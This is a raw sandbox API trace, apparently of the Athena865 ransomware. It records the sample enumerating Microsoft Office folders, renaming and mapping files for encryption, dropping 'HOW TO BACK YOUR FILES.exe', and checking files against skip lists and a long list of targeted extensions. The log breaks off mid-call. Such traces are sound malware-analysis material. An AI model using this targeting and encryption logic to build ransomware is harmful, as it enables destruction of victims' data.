MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.819] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.820] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.820] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.820] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0137.820] lstrcmpiW (lpString1="Verve.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.820] lstrcmpiW (lpString1="Verve.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.821] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Verve.xml" | out: lpString1="Verve.xml") returned="Verve.xml" [0137.821] lstrlenW (lpString="Verve.xml") returned 9 [0137.821] lstrlenW (lpString="Athena865") returned 9 [0137.821] lstrlenW (lpString=".dll") returned 4 [0137.821] lstrcmpiW (lpString1="Verve.xml", lpString2=".dll") returned 1 [0137.821] lstrlenW (lpString=".lnk") returned 4 [0137.821] lstrcmpiW (lpString1="Verve.xml", lpString2=".lnk") returned 1 [0137.821] lstrlenW (lpString=".ini") returned 4 [0137.821] lstrcmpiW (lpString1="Verve.xml", lpString2=".ini") returned 1 [0137.821] lstrlenW (lpString=".sys") returned 4 [0137.821] lstrcmpiW (lpString1="Verve.xml", lpString2=".sys") returned 1 [0137.821] lstrlenW (lpString="Verve.xml") returned 9 [0137.821] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.Athena865") returned 84 [0137.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.athena865"), dwFlags=0x1) returned 1 [0137.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.822] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3604) returned 1 [0137.823] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.823] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.823] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.824] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.825] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.826] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.826] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.826] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.827] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0137.827] lstrcmpiW (lpString1="Waveform.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.827] lstrcmpiW (lpString1="Waveform.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.827] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Waveform.xml" | out: lpString1="Waveform.xml") returned="Waveform.xml" [0137.827] lstrlenW (lpString="Waveform.xml") returned 12 [0137.827] lstrlenW (lpString="Athena865") returned 9 [0137.827] lstrcmpiW (lpString1="eform.xml", lpString2="Athena865") returned 1 [0137.827] lstrlenW (lpString=".dll") returned 4 [0137.827] lstrcmpiW (lpString1="Waveform.xml", lpString2=".dll") returned 1 [0137.827] lstrlenW (lpString=".lnk") returned 4 [0137.827] lstrcmpiW (lpString1="Waveform.xml", lpString2=".lnk") returned 1 [0137.827] lstrlenW (lpString=".ini") returned 4 [0137.827] lstrcmpiW (lpString1="Waveform.xml", lpString2=".ini") returned 1 [0137.827] lstrlenW (lpString=".sys") returned 4 [0137.827] lstrcmpiW (lpString1="Waveform.xml", lpString2=".sys") returned 1 [0137.827] lstrlenW (lpString="Waveform.xml") returned 12 [0137.828] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.Athena865") returned 87 [0137.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.athena865"), dwFlags=0x1) returned 1 [0137.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.829] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3577) returned 1 [0137.829] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.830] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.830] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.830] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x17c [0137.831] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000 [0137.832] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.833] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.833] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.833] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0137.833] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0137.834] ReleaseMutex (hMutex=0xec) returned 1 [0137.834] CloseHandle (hObject=0xec) returned 1 [0137.834] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0137.834] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0137.834] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0137.834] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\how to back your files.exe"), bFailIfExists=1) returned 0 [0137.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0137.835] GetLastError () returned 0x0 [0137.835] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0137.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0137.835] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0137.836] CloseHandle (hObject=0xf4) returned 1 [0137.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0137.836] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0137.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf111ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0137.837] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.837] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.837] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0137.837] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf111ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.837] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.837] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.837] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0137.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0137.837] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0137.838] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0137.838] lstrlenW (lpString="1033") returned 4 [0137.838] lstrcpyW (in: lpString1=0x241e8aa, lpString2="1033" | out: lpString1="1033") returned="1033" [0137.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f748 [0137.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x540d48 [0137.838] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0137.838] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0137.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2=".") returned 1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="..") returned 1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="windows") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="bootmgr") returned 1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="temp") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="pagefile.sys") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="boot") returned 1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="ids.txt") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="ntuser.dat") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="perflogs") returned -1 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="MSBuild") returned -1 [0137.842] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0137.842] lstrcpyW (in: lpString1=0x241e8aa, lpString2="CAGCAT10.DLL" | out: lpString1="CAGCAT10.DLL") returned="CAGCAT10.DLL" [0137.842] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0137.842] lstrlenW (lpString="Athena865") returned 9 [0137.842] lstrcmpiW (lpString1="CAT10.DLL", lpString2="Athena865") returned 1 [0137.842] lstrlenW (lpString=".dll") returned 4 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2=".dll") returned 1 [0137.842] lstrlenW (lpString=".lnk") returned 4 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2=".lnk") returned 1 [0137.842] lstrlenW (lpString=".ini") returned 4 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2=".ini") returned 1 [0137.842] lstrlenW (lpString=".sys") returned 4 [0137.842] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2=".sys") returned 1 [0137.842] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0137.842] lstrlenW (lpString="bak") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0137.843] lstrlenW (lpString="ba_") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0137.843] lstrlenW (lpString="dbb") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0137.843] lstrlenW (lpString="vmdk") returned 4 [0137.843] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0137.843] lstrlenW (lpString="rar") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0137.843] lstrlenW (lpString="zip") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0137.843] lstrlenW (lpString="tgz") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0137.843] lstrlenW (lpString="vbox") returned 4 [0137.843] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0137.843] lstrlenW (lpString="vdi") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0137.843] lstrlenW (lpString="vhd") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0137.843] lstrlenW (lpString="vhdx") returned 4 [0137.843] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0137.843] lstrlenW (lpString="avhd") returned 4 [0137.843] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0137.843] lstrlenW (lpString="db") returned 2 [0137.843] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0137.843] lstrlenW (lpString="db2") returned 3 [0137.843] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0137.844] lstrlenW (lpString="db3") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0137.844] lstrlenW (lpString="dbf") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0137.844] lstrlenW (lpString="mdf") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0137.844] lstrlenW (lpString="mdb") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0137.844] lstrlenW (lpString="sql") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0137.844] lstrlenW (lpString="sqlite") returned 6 [0137.844] lstrcmpiW (lpString1="10.DLL", lpString2="sqlite") returned -1 [0137.844] lstrlenW (lpString="sqlite3") returned 7 [0137.844] lstrcmpiW (lpString1="T10.DLL", lpString2="sqlite3") returned 1 [0137.844] lstrlenW (lpString="sqlitedb") returned 8 [0137.844] lstrcmpiW (lpString1="AT10.DLL", lpString2="sqlitedb") returned -1 [0137.844] lstrlenW (lpString="xml") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0137.844] lstrlenW (lpString="$er") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0137.844] lstrlenW (lpString="4dd") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0137.844] lstrlenW (lpString="4dl") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0137.844] lstrlenW (lpString="^^^") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0137.844] lstrlenW (lpString="abs") returned 3 [0137.844] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0137.844] lstrlenW (lpString="abx") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0137.845] lstrlenW (lpString="accdb") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0137.845] lstrlenW (lpString="accdc") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0137.845] lstrlenW (lpString="accde") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0137.845] lstrlenW (lpString="accdr") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0137.845] lstrlenW (lpString="accdt") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0137.845] lstrlenW (lpString="accdw") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0137.845] lstrlenW (lpString="accft") returned 5 [0137.845] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0137.845] lstrlenW (lpString="adb") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0137.845] lstrlenW (lpString="adb") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0137.845] lstrlenW (lpString="ade") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0137.845] lstrlenW (lpString="adf") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0137.845] lstrlenW (lpString="adn") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0137.845] lstrlenW (lpString="adp") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0137.845] lstrlenW (lpString="alf") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0137.845] lstrlenW (lpString="ask") returned 3 [0137.845] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0137.846] lstrlenW (lpString="btr") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0137.846] lstrlenW (lpString="cat") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0137.846] lstrlenW (lpString="cdb") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0137.846] lstrlenW (lpString="ckp") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0137.846] lstrlenW (lpString="cma") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0137.846] lstrlenW (lpString="cpd") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0137.846] lstrlenW (lpString="dacpac") returned 6 [0137.846] lstrcmpiW (lpString1="10.DLL", lpString2="dacpac") returned -1 [0137.846] lstrlenW (lpString="dad") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0137.846] lstrlenW (lpString="dadiagrams") returned 10 [0137.846] lstrcmpiW (lpString1="GCAT10.DLL", lpString2="dadiagrams") returned 1 [0137.846] lstrlenW (lpString="daschema") returned 8 [0137.846] lstrcmpiW (lpString1="AT10.DLL", lpString2="daschema") returned -1 [0137.846] lstrlenW (lpString="db-journal") returned 10 [0137.846] lstrcmpiW (lpString1="GCAT10.DLL", lpString2="db-journal") returned 1 [0137.846] lstrlenW (lpString="db-shm") returned 6 [0137.846] lstrcmpiW (lpString1="10.DLL", lpString2="db-shm") returned -1 [0137.846] lstrlenW (lpString="db-wal") returned 6 [0137.846] lstrcmpiW (lpString1="10.DLL", lpString2="db-wal") returned -1 [0137.846] lstrlenW (lpString="dbc") returned 3 [0137.846] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0137.846] lstrlenW (lpString="dbs") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0137.847] lstrlenW (lpString="dbt") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0137.847] lstrlenW (lpString="dbv") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0137.847] lstrlenW (lpString="dbx") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0137.847] lstrlenW (lpString="dcb") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0137.847] lstrlenW (lpString="dct") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0137.847] lstrlenW (lpString="dcx") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0137.847] lstrlenW (lpString="ddl") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0137.847] lstrlenW (lpString="dlis") returned 4 [0137.847] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0137.847] lstrlenW (lpString="dp1") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0137.847] lstrlenW (lpString="dqy") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0137.847] lstrlenW (lpString="dsk") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0137.847] lstrlenW (lpString="dsn") returned 3 [0137.847] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0137.847] lstrlenW (lpString="dtsx") returned 4 [0137.847] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0137.847] lstrlenW (lpString="dxl") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0137.848] lstrlenW (lpString="eco") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0137.848] lstrlenW (lpString="ecx") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0137.848] lstrlenW (lpString="edb") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0137.848] lstrlenW (lpString="epim") returned 4 [0137.848] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0137.848] lstrlenW (lpString="fcd") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", 